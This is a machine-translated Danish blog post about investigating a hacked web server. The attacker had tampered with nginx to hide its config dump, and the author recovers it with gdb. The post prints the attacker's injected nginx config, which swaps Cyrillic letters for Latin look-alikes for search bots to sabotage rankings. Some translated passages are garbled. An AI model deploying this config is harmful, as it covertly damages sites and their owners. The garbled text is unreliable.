Når 'a' ikke er lig med 'a'. På sporet af et hack

En yderst ubehagelig historie skete for en af ​​mine venner. Men lige så ubehageligt som det viste sig at være for Mikhail, var det lige så underholdende for mig.

Jeg må sige, at min ven er ganske UNIX-bruger: kan selv installere systemet mysql, php og lav enkle indstillinger Nginx.
Og han har et dusin eller halvanden hjemmesider dedikeret til byggeværktøjer.

Et af disse websteder dedikeret til motorsave sidder solidt i TOPPEN af søgemaskiner. Dette websted er en ikke-kommerciel anmelder, men nogen fik for vane at angribe det. At DDoS, så brute force, så skriver de obskøne kommentarer og sender overgreb til værten og til RKN.
Pludselig faldt alt til ro, og denne ro viste sig ikke at være god, og siden begyndte gradvist at forlade de øverste linjer i søgeresultaterne.

Når 'a' ikke er lig med 'a'. I kølvandet på et hack

Det var et ordsprog, så selve administratorens fortælling.

Det nærmede sig sengetid, da telefonen ringede: “San, vil du ikke se på min server? Det ser ud til, at jeg blev hacket, jeg kan ikke bevise det, men følelsen har ikke forladt mig i den tredje uge. Måske er det bare på tide, at jeg får behandling for paranoia?”

Det efterfølgende var en halv times diskussion, som kan opsummeres som følger:

  • jorden til hacking var ret frugtbar;
  • en angriber kan opnå superbrugerrettigheder;
  • angrebet (hvis det fandt sted) var rettet specifikt mod dette sted;
  • problemområder er blevet rettet, og du skal bare forstå, om der var nogen penetration;
  • hacket kunne ikke påvirke webstedets kode og databaser.

Angående det sidste punkt.

Når 'a' ikke er lig med 'a'. I kølvandet på et hack

Kun den hvide frontend IP ser ud i verden. Der er ingen udveksling mellem backends og frontend undtagen http(s), brugere/adgangskoder er forskellige, ingen nøgler blev udvekslet. På grå adresser er alle porte undtagen 80/443 lukkede. Hvide backend-IP'er er kun kendt af to brugere, som Mikhail stoler fuldstændigt på.

Installeret på fronten Debian 9 og når opkaldet foretages, er systemet isoleret fra verden af ​​en ekstern firewall og stoppet.

"Ok, giv mig adgang," beslutter jeg mig for at udsætte søvnen i en time. "Jeg vil se med mine egne øjne."

Her og længere:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Leder efter et muligt hack

Jeg starter serveren, først ind redningstilstand. Jeg monterer diskene og bladrer igennem dem autoriseret-logfiler, historie, systemlogs osv., hvis det er muligt, tjekker jeg datoen for filoprettelse, selvom jeg forstår, at en normal cracker ville have "fejet op" efter sig selv, og Misha havde allerede "trådt meget ned", mens han ledte efter sig selv .

Jeg starter i normal tilstand, ved endnu ikke rigtig, hvad jeg skal kigge efter, jeg studerer konfigurationerne. Først og fremmest er jeg interesseret i Nginx da der generelt ikke er andet på frontend end det.
Konfigurationerne er små, godt struktureret i et dusin filer, jeg ser dem bare igennem kat'åh en efter en. Alt ser ud til at være rent, men man ved aldrig, om jeg er gået glip af noget omfatter, lad mig lave en komplet liste:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Jeg forstod ikke: "Hvor er fortegnelsen?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Et andet spørgsmål føjes til listespørgsmålet: "Hvorfor en så gammel version af nginx?"

Derudover mener systemet, at den seneste version er installeret:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Jeg ringer:
- Misha, hvorfor satte du dig sammen igen Nginx?
- Vågn op, jeg ved ikke engang, hvordan man gør det her!
- Okay, gå i seng...

Nginx det er tydeligt genopbygget, og outputtet af fortegnelsen ved hjælp af "-T" er skjult af en grund. Der er ikke længere nogen tvivl om hacking, og du kan blot acceptere det og (da Misha alligevel erstattede serveren med en ny) betragte problemet som løst.

Og faktisk siden nogen fik rettighederne rod'ah, så giver det kun mening at gøre system geninstaller, og det var nytteløst at lede efter, hvad der var galt der, men denne gang besejrede nysgerrigheden søvnen. Hvordan kan vi finde ud af, hvad de ønskede at skjule for os?

Lad os prøve at spore:

$ strace nginx -T

Vi ser på det, der er tydeligvis ikke nok streger i sporet a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Bare for sjov, lad os sammenligne resultaterne.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Jeg tror en del af koden /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

blev bragt til formen:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

eller

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

derfor vises listen med "-T" ikke.

Men hvordan kan vi se vores konfiguration?

Hvis min tanke er korrekt, og problemet kun er i variablen ngx_dump_config lad os prøve at installere det vha gdb, der er heldigvis en nøgle --med-cc-opt -g tilstede og håber, at optimering -O2 det vil ikke skade os. Samtidig, da jeg ikke ved hvordan ngx_dump_config kunne behandles i case 'T':, vil vi ikke kalde denne blok, men installere den ved hjælp af tilfælde 't':

Hvorfor du kan bruge '-t' såvel som '-T'Blokbehandling if(ngx_dump_config) sker indeni if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Selvfølgelig, hvis koden ændres i denne del og ikke i case 'T':, så virker min metode ikke.

Test nginx.confEfter at have løst problemet eksperimentelt, blev det fastslået, at der kræves en minimumskonfiguration for at malwaren kan fungere Nginx type:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Vi vil bruge det for kortheds skyld i artiklen.

Start debuggeren

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Trin for trin:

  • sæt et brudpunkt i funktionen main ()
  • starte programmet
  • ændre værdien af ​​den variabel, der bestemmer outputtet af konfigurationen ngx_dump_config=1
  • fortsætte/afslut programmet

Som vi kan se, adskiller den rigtige konfiguration sig fra vores, vi vælger et parasitisk stykke fra det:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Lad os tage et kig på, hvad der sker her i rækkefølge.

er bestemt User-Agent's yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Servicesider er undtaget wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Og for dem, der falder ind under begge ovenstående betingelser

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

i teksten html-sider ændres 'O''o' и 'EN''en':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Det er rigtigt, den eneste subtilitet er det 'a' != 'a' såvel som 'o' != 'o':

Når 'a' ikke er lig med 'a'. I kølvandet på et hack

Således modtager søgemaskinebots i stedet for normal 100 % kyrillisk tekst modificeret skrald fortyndet med latin 'en' и 'o'. Jeg tør ikke diskutere, hvordan dette påvirker SEO, men det er usandsynligt, at sådan et virvar af bogstaver vil have en positiv indflydelse på placeringer i søgeresultaterne.

Hvad kan jeg sige, fyre med fantasi.

RЎSЃS <P "RєRё

Fejlretning med GDB
gdb(1) — Linux man-side
strace(1) — Linux man page
Nginx - Modul ngx_http_sub_module
Om save, motorsave og elektriske save

Kilde: www.habr.com

Tilføj en kommentar